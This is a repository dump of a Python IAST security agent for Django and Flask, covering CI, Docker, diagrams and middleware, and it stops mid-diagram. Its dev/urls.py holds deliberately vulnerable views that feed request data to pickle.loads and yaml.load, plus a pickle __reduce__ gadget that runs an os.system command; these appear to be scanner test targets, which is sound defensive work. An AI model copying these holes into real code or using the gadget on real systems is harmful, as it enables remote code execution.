├── .bandit ├── .dockerignore ├── .github └── workflows │ ├── bandit.yml │ ├── generate_diagrams.yml │ ├── publish.yaml │ └── pylint.yml ├── .gitignore ├── Dockerfile ├── Makefile ├── Readme.md ├── VERSION ├── Vagrantfile ├── deploy.ps1 ├── dev ├── __init__.py ├── asgi.py ├── settings.py ├── urls.py └── wsgi.py ├── diagrams ├── Client_upload_config_flowchart.svg ├── Client_upload_config_flowchart.txt ├── Client_upload_context_flowchart.svg ├── Client_upload_context_flowchart.txt ├── Client_upload_dependencies_flowchart.svg ├── Client_upload_dependencies_flowchart.txt ├── Dockerfile.png ├── ImmunityDjangoMiddleware___call___flowchart.svg ├── ImmunityDjangoMiddleware___call___flowchart.txt ├── classes.dot ├── classes.png ├── packages.dot └── packages.png ├── generate_flowcharts.py ├── immunity_agent ├── __init__.py ├── __main__.py ├── api │ ├── __init__.py │ └── client.py ├── config.json ├── config.py ├── control_flow │ ├── __init__.py │ └── control_flow.py ├── logger.py ├── middlewares │ ├── __init__.py │ ├── django_middleware.py │ └── flask_middleware.py ├── request │ ├── __init__.py │ └── django_request.py └── response │ ├── __init__.py │ └── django_response.py ├── manage.py ├── polysploit ├── django │ ├── conf │ │ ├── __init__.py │ │ ├── asgi.py │ │ ├── settings.py │ │ ├── urls.py │ │ └── wsgi.py │ ├── example │ │ ├── __init__.py │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ ├── 0002_userprofile.py │ │ │ └── __init__.py │ │ ├── models.py │ │ ├── tests.py │ │ └── views.py │ ├── hacked.txt │ ├── hacked1.txt │ └── manage.py ├── django_exploit.py ├── flask │ ├── app.py │ ├── hacked.txt │ └── hacked1.txt └── flask_exploit.py ├── pyproject.toml ├── setup.py └── test_flask.py /.bandit: -------------------------------------------------------------------------------- 1 | [bandit] 2 | exclude = test_flask.py,dev/settings.py -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | .idea 2 | *.iml 3 | out 4 | gen 5 | manage.py 6 | dev 7 | Dockerfile 8 | deploy.ps1 9 | venv 10 | .gitignore 11 | -------------------------------------------------------------------------------- /.github/workflows/bandit.yml: -------------------------------------------------------------------------------- 1 | name: Bandit SAST 2 | 3 | on: 4 | push: 5 | branches: 6 | - 'master' 7 | 8 | jobs: 9 | build: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - uses: actions/checkout@v4 13 | - name: Set up Python ${{ matrix.python-version }} 14 | uses: actions/setup-python@v3 15 | with: 16 | python-version: ${{ matrix.python-version }} 17 | - name: Install dependencies 18 | run: | 19 | python -m pip install --upgrade pip 20 | pip install bandit 21 | - name: Analysing the code with bandit 22 | run: | 23 | cd immunity_agent && bandit -r . 24 | -------------------------------------------------------------------------------- /.github/workflows/generate_diagrams.yml: -------------------------------------------------------------------------------- 1 | name: Generate Images Pipeline 2 | 3 | on: 4 | push: 5 | branches: 6 | - 'master' 7 | 8 | jobs: 9 | generate-images: 10 | runs-on: ubuntu-latest 11 | 12 | steps: 13 | - name: Checkout repository 14 | uses: actions/checkout@v3 15 | 16 | - name: Set up Python 17 | uses: actions/setup-python@v4 18 | with: 19 | python-version: '3.x' 20 | 21 | - name: Setup Node.js 22 | uses: actions/setup-node@v3 23 | with: 24 | node-version: '18.x' 25 | 26 | - name: Install XVFB 27 | run: sudo apt-get update && sudo apt-get install -y xvfb 28 | 29 | - name: Start XVFB 30 | run: | 31 | Xvfb :99 -screen 0 1024x768x24 & 32 | export DISPLAY=:99 33 | export XVFB_PID=$! 34 | 35 | - name: Install diagrams package 36 | run: npm install -g diagrams 37 | 38 | - name: Install dependencies 39 | run: | 40 | sudo apt update 41 | sudo apt install -y graphviz 42 | pip install pylint pyflowchart graphviz 43 | 44 | - name: Cleanup old schemes 45 | run: | 46 | rm -rf diagrams/* 47 | 48 | - name: Run Python scripts 49 | run: | 50 | pyreverse --output-directory diagrams/ -f ALL immunity_agent/ 51 | find diagrams/ -name '*.dot' -exec sed -i 's/green/black/g' {} + 52 | dot -Tpng diagrams/classes.dot -o diagrams/classes.png 53 | dot -Tpng diagrams/packages.dot -o diagrams/packages.png 54 | 55 | - name: Generate flowcharts as txt 56 | run: | 57 | python3 generate_flowcharts.py 58 | 59 | - name: Flowcharts to png 60 | run: | 61 | for file in diagrams/*.txt; do DISPLAY=:99 diagrams flowchart "$file" "${file%.txt}.svg"; done 62 | 63 | - name: Generate Dockerfile diagram 64 | run: | 65 | sudo docker run --rm --user "$(id -u):$(id -g)" --workdir /workspace --volume "$(pwd)":/workspace ghcr.io/patrickhoefler/dockerfilegraph:alpine -o png -f Dockerfile --layers --legend 66 | mv Dockerfile.png diagrams/. 67 | 68 | - name: Stage new files 69 | run: git add . 70 | 71 | - name: Commit changes 72 | run: | 73 | git config user.name ${{ secrets.GIT_NAME }} 74 | git config user.email ${{ secrets.GIT_EMAIL }} 75 | git commit -m "auto: generated schemes" || echo "No changes to commit" 76 | 77 | - name: Push changes 78 | uses: ad-m/github-push-action@master 79 | with: 80 | github_token: ${{ secrets.GITHUB_TOKEN }} 81 | -------------------------------------------------------------------------------- /.github/workflows/publish.yaml: -------------------------------------------------------------------------------- 1 | name: Сборка Python-агента 2 | on: 3 | push: 4 | tags: 5 | - '[0-9]+\.[0-9]+\.[0-9]+' 6 | jobs: 7 | build-test: 8 | name: Build Immunity Python agent 9 | runs-on: ubuntu-latest 10 | steps: 11 | - uses: actions/checkout@v3 12 | - uses: actions/setup-python@v5 13 | - name: Выставляем версию пакета 14 | run: | 15 | VERSION=$(cat VERSION) \ 16 | && sed -i "s/0.0.0/$VERSION/" setup.py \ 17 | && sed -i "s/0.0.0/$VERSION/" pyproject.toml 18 | - name: Собираем библиотеку 19 | run: | 20 | python3 -m pip install --upgrade build 21 | python3 -m build 22 | - name: Публикуем библиотеку 23 | env: 24 | TWINE_USERNAME: ${{ secrets.USR }} 25 | TWINE_PASSWORD: ${{ secrets.PWD }} 26 | run: | 27 | pip install --user --upgrade twine 28 | python3 -m twine upload dist/* 29 | -------------------------------------------------------------------------------- /.github/workflows/pylint.yml: -------------------------------------------------------------------------------- 1 | name: Pylint 2 | 3 | on: 4 | pull_request: 5 | branches: 6 | - 'master' 7 | 8 | jobs: 9 | build: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - uses: actions/checkout@v4 13 | - name: Set up Python ${{ matrix.python-version }} 14 | uses: actions/setup-python@v3 15 | with: 16 | python-version: ${{ matrix.python-version }} 17 | - name: Install dependencies 18 | run: | 19 | python -m pip install --upgrade pip 20 | pip install pylint pylint-django[with-django] 21 | - name: Analysing the code with pylint 22 | run: | 23 | cd immunity_agent && pylint . 24 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ---> Python 2 | # Byte-compiled / optimized / DLL files 3 | __pycache__/ 4 | *.py[cod] 5 | *$py.class 6 | 7 | # C extensions 8 | *.so 9 | 10 | # Distribution / packaging 11 | .Python 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | cover/ 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | local_settings.py 62 | db.sqlite3 63 | db.sqlite3-journal 64 | 65 | # Flask stuff: 66 | instance/ 67 | .webassets-cache 68 | 69 | # Scrapy stuff: 70 | .scrapy 71 | 72 | # Sphinx documentation 73 | docs/_build/ 74 | 75 | # PyBuilder 76 | .pybuilder/ 77 | target/ 78 | 79 | # Jupyter Notebook 80 | .ipynb_checkpoints 81 | 82 | # IPython 83 | profile_default/ 84 | ipython_config.py 85 | 86 | # pyenv 87 | # For a library or package, you might want to ignore these files since the code is 88 | # intended to run in multiple environments; otherwise, check them in: 89 | # .python-version 90 | 91 | # pipenv 92 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 93 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 94 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 95 | # install all needed dependencies. 96 | #Pipfile.lock 97 | 98 | # poetry 99 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 100 | # This is especially recommended for binary packages to ensure reproducibility, and is more 101 | # commonly ignored for libraries. 102 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 103 | #poetry.lock 104 | 105 | # pdm 106 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 107 | #pdm.lock 108 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 109 | # in version control. 110 | # https://pdm.fming.dev/#use-with-ide 111 | .pdm.toml 112 | 113 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 114 | __pypackages__/ 115 | 116 | # Celery stuff 117 | celerybeat-schedule 118 | celerybeat.pid 119 | 120 | # SageMath parsed files 121 | *.sage.py 122 | 123 | # Environments 124 | .env 125 | .venv 126 | env/ 127 | venv/ 128 | ENV/ 129 | env.bak/ 130 | venv.bak/ 131 | 132 | # Spyder project settings 133 | .spyderproject 134 | .spyproject 135 | 136 | # Rope project settings 137 | .ropeproject 138 | 139 | # mkdocs documentation 140 | /site 141 | 142 | # mypy 143 | .mypy_cache/ 144 | .dmypy.json 145 | dmypy.json 146 | 147 | # Pyre type checker 148 | .pyre/ 149 | 150 | # pytype static type analyzer 151 | .pytype/ 152 | 153 | # Cython debug symbols 154 | cython_debug/ 155 | 156 | # PyCharm 157 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 158 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 159 | # and can be added to the global gitignore or merged into this file. For a more nuclear 160 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 161 | .idea/ 162 | 163 | .vagrant/ 164 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12 2 | 3 | WORKDIR /build 4 | 5 | COPY . /build 6 | 7 | RUN VERSION=$(cat VERSION) \ 8 | && sed -i "s/0.0.0/$VERSION/" setup.py \ 9 | && sed -i "s/0.0.0/$VERSION/" pyproject.toml 10 | 11 | RUN python3 -m pip install --upgrade build 12 | 13 | RUN python3 -m build --sdist --wheel 14 | 15 | RUN pip install dist/*.tar.gz 16 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: django 2 | 3 | config: 4 | python3 -m immunity_agent -h 5 | 6 | django: 7 | python3 manage.py runserver 8 | 9 | flask: 10 | python3 test_flask.py 11 | 12 | .PHONY: django flask -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Python agent 2 | 3 | IAST-агент, встраиваемый в сканируемые приложения на Python. Инструментирование реализуется путём внедрения middleware для перехвата обработки запросов. 4 | 5 | Поддерживаемые фреймворки: 6 | - `Django` 7 | - `Flask` 8 | 9 | ## Установка 10 | 11 | Выполните команду в терминале: 12 | 13 | ```bash 14 | pip install immunity-iast 15 | ``` 16 | 17 | ## Обновление 18 | 19 | Выполните команду в терминале: 20 | 21 | ```bash 22 | pip install immunity-iast --upgrade 23 | ``` 24 | 25 | ## Конфигурирование 26 | 27 | Выполните команду в терминале: 28 | 29 | ```bash 30 | python3 -m immunity_agent 127.0.0.1 80 test 31 | ``` 32 | 33 | В качестве аргументов передаём хост и порт серверной части и имя проекта, ранее созданного на сервере. 34 | 35 | ## Интеграция в Django 36 | 37 | Измените `settings.py`: 38 | 39 | ```python 40 | INSTALLED_APPS = [ 41 | # ... 42 | 'immunity_agent' 43 | ] 44 | 45 | MIDDLEWARE = [ 46 | # ... 47 | 'immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware' 48 | ] 49 | ``` 50 | 51 | После перезапуска агент будет активирован автоматически. 52 | 53 | ## Интеграция в Flask 54 | 55 | Укажите в `app.py`: 56 | 57 | ```python 58 | app = flask.Flask(__name__) 59 | app.wsgi_app = ImmunityFlaskMiddleware(app.wsgi_app, app.root_path) 60 | 61 | # ... 62 | ``` 63 | 64 | После перезапуска агент будет активирован автоматически. 65 | -------------------------------------------------------------------------------- /VERSION: -------------------------------------------------------------------------------- 1 | 0.3.1 -------------------------------------------------------------------------------- /Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | 6 | config.vm.define "agent_test_vm" do |agent| 7 | agent.vm.box = "ubuntu/focal64" 8 | agent.vm.hostname = "agent" 9 | config.vm.network "private_network", ip: "192.168.33.10" 10 | agent.vm.network "forwarded_port", guest: 8000, host: 8000 11 | agent.vm.network "forwarded_port", guest: 5000, host: 5000 12 | 13 | config.vm.provider "virtualbox" do |vb| 14 | vb.memory = "2048" 15 | vb.cpus = "2" 16 | end 17 | 18 | config.vm.provision "shell", inline: <<-SHELL 19 | apt-get update 20 | apt-get install -y python3-pip 21 | pip install Django Flask 22 | SHELL 23 | 24 | end 25 | 26 | end -------------------------------------------------------------------------------- /deploy.ps1: -------------------------------------------------------------------------------- 1 | $branch = $(git branch --show-current) 2 | 3 | git fetch origin --tags 4 | git pull origin 5 | 6 | $major = 0 7 | $minor = 1 8 | $(git describe --tags $(git rev-list --tags --max-count=1)) -match "[0-9]+\.[0-9]+\.([0-9]+)" 9 | $patch = [int]$Matches[1] + 1 10 | $version = "$($major).$($minor).$($patch)" 11 | 12 | Write-Host 'The new version is: ' $version 13 | $Utf8NoBomEncoding = New-Object System.Text.UTF8Encoding $False 14 | [System.IO.File]::WriteAllLines("VERSION", $version, $Utf8NoBomEncoding) 15 | 16 | git add . 17 | git commit -m "publish version $version" 18 | git tag -a $version -m $version 19 | git push -u origin $branch --follow-tags 20 | -------------------------------------------------------------------------------- /dev/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/dev/__init__.py -------------------------------------------------------------------------------- /dev/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for dev project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dev.settings") 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /dev/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for dev project. 3 | 4 | Generated by 'django-admin startproject' using Django 3.2.3. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.2/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/3.2/ref/settings/ 11 | """ 12 | 13 | import os 14 | import sys 15 | from pathlib import Path 16 | from django.core.management.utils import get_random_secret_key 17 | 18 | parent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), "..")) 19 | 20 | if parent_dir not in sys.path: 21 | sys.path.append(parent_dir) 22 | 23 | from immunity_agent.middlewares.django_middleware import ImmunityDjangoMiddleware 24 | 25 | # Build paths inside the project like this: BASE_DIR / 'subdir'. 26 | BASE_DIR = Path(__file__).resolve().parent.parent 27 | 28 | 29 | # Quick-start development settings - unsuitable for production 30 | # See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ 31 | 32 | # SECURITY WARNING: keep the secret key used in production secret! 33 | SECRET_KEY = get_random_secret_key() 34 | 35 | # SECURITY WARNING: don't run with debug turned on in production! 36 | DEBUG = True 37 | 38 | ALLOWED_HOSTS = [] 39 | 40 | 41 | # Application definition 42 | 43 | INSTALLED_APPS = [ 44 | "django.contrib.admin", 45 | "django.contrib.auth", 46 | "django.contrib.contenttypes", 47 | "django.contrib.sessions", 48 | "django.contrib.messages", 49 | "django.contrib.staticfiles", 50 | ] 51 | 52 | MIDDLEWARE = [ 53 | "django.middleware.security.SecurityMiddleware", 54 | "django.contrib.sessions.middleware.SessionMiddleware", 55 | "django.middleware.common.CommonMiddleware", 56 | "django.middleware.csrf.CsrfViewMiddleware", 57 | "django.contrib.auth.middleware.AuthenticationMiddleware", 58 | "django.contrib.messages.middleware.MessageMiddleware", 59 | "django.middleware.clickjacking.XFrameOptionsMiddleware", 60 | "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware", 61 | ] 62 | 63 | ROOT_URLCONF = "dev.urls" 64 | 65 | TEMPLATES = [ 66 | { 67 | "BACKEND": "django.template.backends.django.DjangoTemplates", 68 | "DIRS": [], 69 | "APP_DIRS": True, 70 | "OPTIONS": { 71 | "context_processors": [ 72 | "django.template.context_processors.debug", 73 | "django.template.context_processors.request", 74 | "django.contrib.auth.context_processors.auth", 75 | "django.contrib.messages.context_processors.messages", 76 | ], 77 | }, 78 | }, 79 | ] 80 | 81 | WSGI_APPLICATION = "dev.wsgi.application" 82 | 83 | 84 | # Database 85 | # https://docs.djangoproject.com/en/3.2/ref/settings/#databases 86 | 87 | DATABASES = { 88 | "default": { 89 | "ENGINE": "django.db.backends.sqlite3", 90 | "NAME": BASE_DIR / "db.sqlite3", 91 | } 92 | } 93 | 94 | 95 | # Password validation 96 | # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators 97 | 98 | AUTH_PASSWORD_VALIDATORS = [ 99 | { 100 | "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", 101 | }, 102 | { 103 | "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", 104 | }, 105 | { 106 | "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", 107 | }, 108 | { 109 | "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", 110 | }, 111 | ] 112 | 113 | 114 | # Internationalization 115 | # https://docs.djangoproject.com/en/3.2/topics/i18n/ 116 | 117 | LANGUAGE_CODE = "en-us" 118 | 119 | TIME_ZONE = "UTC" 120 | 121 | USE_I18N = True 122 | 123 | USE_L10N = True 124 | 125 | USE_TZ = True 126 | 127 | 128 | # Static files (CSS, JavaScript, Images) 129 | # https://docs.djangoproject.com/en/3.2/howto/static-files/ 130 | 131 | STATIC_URL = "/static/" 132 | 133 | # Default primary key field type 134 | # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field 135 | 136 | DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" 137 | -------------------------------------------------------------------------------- /dev/urls.py: -------------------------------------------------------------------------------- 1 | """dev URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/3.2/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | 17 | from django.contrib import admin 18 | from django.http import HttpResponse 19 | from django.urls import path 20 | import pickle 21 | import yaml 22 | 23 | 24 | def call_me(request): 25 | a = 1 26 | b = request.GET.get("a") 27 | c = "CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)" 28 | e = "INSERT INTO users (name) VALUES ('John')" 29 | q = a + b 30 | print(e) 31 | 32 | return HttpResponse("Hello World") 33 | 34 | def vulnerable_view_1(request): 35 | if request.method == 'POST': 36 | data = request.POST.get('data') 37 | # Десериализуем данные с помощью pickle 38 | deserialized_data = pickle.loads(data) 39 | return HttpResponse(f'Deserialized data: {deserialized_data}') 40 | else: 41 | return HttpResponse("Method not allowed") 42 | 43 | def vulnerable_view_2(request): 44 | if request.method == 'POST': 45 | data = request.POST.get('data') 46 | # Десериализуем данные с помощью yaml 47 | deserialized_data = yaml.load(data, Loader=yaml.FullLoader) 48 | return HttpResponse(f'Deserialized data: {deserialized_data}') 49 | else: 50 | return HttpResponse("Method not allowed") 51 | 52 | class VulnerableObject: 53 | def __reduce__(self): 54 | return (eval, ("__import__('os').system('ls')",)) 55 | 56 | def vulnerable_view_3(request): 57 | if request.method == 'POST': 58 | data = request.POST.get('data') 59 | try: 60 | deserialized_data = pickle.loads(data.encode()) 61 | return HttpResponse(f'Deserialized object: {deserialized_data}') 62 | except Exception as e: 63 | return HttpResponse(f'Error: {e}') 64 | else: 65 | return HttpResponse("Method not allowed") 66 | 67 | 68 | urlpatterns = [ 69 | path("admin/", admin.site.urls), 70 | path("call_me/", call_me), 71 | path("/deserialize/4/", vulnerable_view_1), 72 | path("/deserialize/5/", vulnerable_view_2), 73 | path("/deserialize/6/", vulnerable_view_3), 74 | ] 75 | -------------------------------------------------------------------------------- /dev/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for dev project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dev.settings") 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /diagrams/Client_upload_config_flowchart.svg: -------------------------------------------------------------------------------- 1 | Created with Raphaël 2.1.4response = requests.post(url, headers=headers, json={'project': project, 'payload': base64.b64encode(config_json.encode('utf-8')).decode('utf-8'), 'framework': framework}, timeout=15)if (response.status_code == 200)logger.info(f'Данные о настройках успешно отправлены.')logger.error(f'Сбой отправки данных о настройкахКод ответа: {response.status_code}; Содержимое ответа: {response.text}')yesno -------------------------------------------------------------------------------- /diagrams/Client_upload_config_flowchart.txt: -------------------------------------------------------------------------------- 1 | op34=>operation: response = requests.post(url, headers=headers, json={'project': project, 'payload': base64.b64encode(config_json.encode('utf-8')).decode('utf-8'), 'framework': framework}, timeout=15) 2 | cond37=>condition: if (response.status_code == 200) 3 | sub41=>subroutine: logger.info(f'Данные о настройках успешно отправлены.') 4 | sub45=>subroutine: logger.error(f'Сбой отправки данных о настройкахКод ответа: {response.status_code}; Содержимое ответа: {response.text}') 5 | 6 | op34->cond37 7 | cond37(yes)->sub41 8 | cond37(no)->sub45 9 | -------------------------------------------------------------------------------- /diagrams/Client_upload_context_flowchart.svg: -------------------------------------------------------------------------------- 1 | Created with Raphaël 2.1.4response = requests.post(url, headers=headers, json={'project': project, 'request': base64.b64encode(request.encode('utf-8')).decode('utf-8'), 'control_flow': base64.b64encode(control_flow.encode('utf-8')).decode('utf-8'), 'response': base64.b64encode(response.encode('utf-8')).decode('utf-8')}, timeout=15)if (response.status_code == 200)logger.info(f'Данные о запросе {endpoint} отправлены на обработку.')logger.error(f'Сбой отправки данных о запросе {endpoint}. Код ответа: {response.status_code}; Содержимое ответа: {response.text}')yesno -------------------------------------------------------------------------------- /diagrams/Client_upload_context_flowchart.txt: -------------------------------------------------------------------------------- 1 | op2=>operation: response = requests.post(url, headers=headers, json={'project': project, 'request': base64.b64encode(request.encode('utf-8')).decode('utf-8'), 'control_flow': base64.b64encode(control_flow.encode('utf-8')).decode('utf-8'), 'response': base64.b64encode(response.encode('utf-8')).decode('utf-8')}, timeout=15) 2 | cond5=>condition: if (response.status_code == 200) 3 | sub9=>subroutine: logger.info(f'Данные о запросе {endpoint} отправлены на обработку.') 4 | sub13=>subroutine: logger.error(f'Сбой отправки данных о запросе {endpoint}. Код ответа: {response.status_code}; Содержимое ответа: {response.text}') 5 | 6 | op2->cond5 7 | cond5(yes)->sub9 8 | cond5(no)->sub13 9 | -------------------------------------------------------------------------------- /diagrams/Client_upload_dependencies_flowchart.svg: -------------------------------------------------------------------------------- 1 | Created with Raphaël 2.1.4response = requests.post(url, headers=headers, json={'project': project, 'payload': base64.b64encode(dependencies_json.encode('utf-8')).decode('utf-8')}, timeout=15)if (response.status_code == 200)logger.info(f'Данные о настройках успешно отправлены.')logger.error(f'Сбой отправки данных о настройкахКод ответа: {response.status_code}; Содержимое ответа: {response.text}')yesno -------------------------------------------------------------------------------- /diagrams/Client_upload_dependencies_flowchart.txt: -------------------------------------------------------------------------------- 1 | op18=>operation: response = requests.post(url, headers=headers, json={'project': project, 'payload': base64.b64encode(dependencies_json.encode('utf-8')).decode('utf-8')}, timeout=15) 2 | cond21=>condition: if (response.status_code == 200) 3 | sub25=>subroutine: logger.info(f'Данные о настройках успешно отправлены.') 4 | sub29=>subroutine: logger.error(f'Сбой отправки данных о настройкахКод ответа: {response.status_code}; Содержимое ответа: {response.text}') 5 | 6 | op18->cond21 7 | cond21(yes)->sub25 8 | cond21(no)->sub29 9 | -------------------------------------------------------------------------------- /diagrams/Dockerfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/diagrams/Dockerfile.png -------------------------------------------------------------------------------- /diagrams/ImmunityDjangoMiddleware___call___flowchart.svg: -------------------------------------------------------------------------------- 1 | Created with Raphaël 2.1.4self.control_flow = ControlFlowBuilder(project_root=str(settings.BASE_DIR))sys.settrace(self.control_flow.trace_calls)response = self.get_response(request)sys.settrace(None)self.api_client.upload_context(request.path, self.project, DjangoRequest.serialize(request), self.control_flow.serialize(), DjangoResponse.serialize(response)) -------------------------------------------------------------------------------- /diagrams/ImmunityDjangoMiddleware___call___flowchart.txt: -------------------------------------------------------------------------------- 1 | op50=>operation: self.control_flow = ControlFlowBuilder(project_root=str(settings.BASE_DIR)) 2 | sub52=>subroutine: sys.settrace(self.control_flow.trace_calls) 3 | op54=>operation: response = self.get_response(request) 4 | sub56=>subroutine: sys.settrace(None) 5 | sub58=>subroutine: self.api_client.upload_context(request.path, self.project, DjangoRequest.serialize(request), self.control_flow.serialize(), DjangoResponse.serialize(response)) 6 | 7 | op50->sub52 8 | sub52->op54 9 | op54->sub56 10 | sub56->sub58 11 | -------------------------------------------------------------------------------- /diagrams/classes.dot: -------------------------------------------------------------------------------- 1 | digraph "classes" { 2 | rankdir=BT 3 | charset="utf-8" 4 | "immunity_agent.logger.AgentLogger" [color="black", fontcolor="black", label=<{AgentLogger|_log : Logger
|__init__(log: logging.Logger): None
critical(msg: str): None
debug(msg: str): None
error(msg: str): None
exception(msg: str): None
info(msg: str): None
log(level: int, msg: str): None
warn(msg: str): None
warning(msg: str): None
}>, shape="record", style="solid"]; 5 | "immunity_agent.api.client.Client" [color="black", fontcolor="black", label=<{Client|config
host
port
project
|__init__()
upload_config(config_json: str, project: str, framework: str): requests.Response
upload_context(endpoint: str, project: str, request: str, control_flow: str, response: str): requests.Response
upload_dependencies(dependencies_json: str, project: str): requests.Response
}>, shape="record", style="solid"]; 6 | "immunity_agent.config.Config" [color="black", fontcolor="black", label=<{Config|data : Dict[str, Any]
filename
|__init__()
get(key: str, default: Optional[Any]): Any
load(): Dict[str, Any]
save(): None
set(key: str, value: Any): None
}>, shape="record", style="solid"]; 7 | "immunity_agent.control_flow.control_flow.ControlFlowBuilder" [color="black", fontcolor="black", label=<{ControlFlowBuilder|control_flow : list
external_call_detected : bool
project_root : str
|__init__(project_root: str)
serialize(indentation: int): str
serialize_error(error_tuple: tuple): dict
serialize_locals(local_dict: dict): list
trace_calls(frame, event: str, arg): Callable[[FrameType, str, Any], Optional[Callable]]
}>, shape="record", style="solid"]; 8 | "immunity_agent.request.django_request.DjangoRequest" [color="black", fontcolor="black", label=<{DjangoRequest|
|serialize(request: object, indentation: int): str
serialize_request_item(request_components_dict: Dict[str, Union[str, Any]]): Dict[str, str]
}>, shape="record", style="solid"]; 9 | "immunity_agent.response.django_response.DjangoResponse" [color="black", fontcolor="black", label=<{DjangoResponse|
|serialize(response: HttpResponse, indentation: int): str
serialize_response_item(response_components_dict: Dict[str, Union[str, Any]]): Dict[str, str]
}>, shape="record", style="solid"]; 10 | "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" [color="black", fontcolor="black", label=<{ImmunityDjangoMiddleware|api_client
control_flow : NoneType
get_response
project
|__call__(request: Any): Any
__init__(get_response: callable)
_extract_settings()
}>, shape="record", style="solid"]; 11 | "immunity_agent.middlewares.flask_middleware.ImmunityFlaskMiddleware" [color="black", fontcolor="black", label=<{ImmunityFlaskMiddleware|api_client
app : object
base_path
control_flow : NoneType
headers : List[Tuple[str, str]], NoneType
project
status : NoneType, str
|__call__(environ: Dict[str, str], start_response: callable): bytes
__init__(app: object, app_object: object)
_capture_request(environ: Dict[str, str]): Dict[str, any]
_capture_response(status: str, headers: List[Tuple[str, str]], body: bytes): Dict[str, any]
_extract_headers(environ: Dict[str, str]): Dict[str, str]
_reset_stream(body: bytes): BytesIO
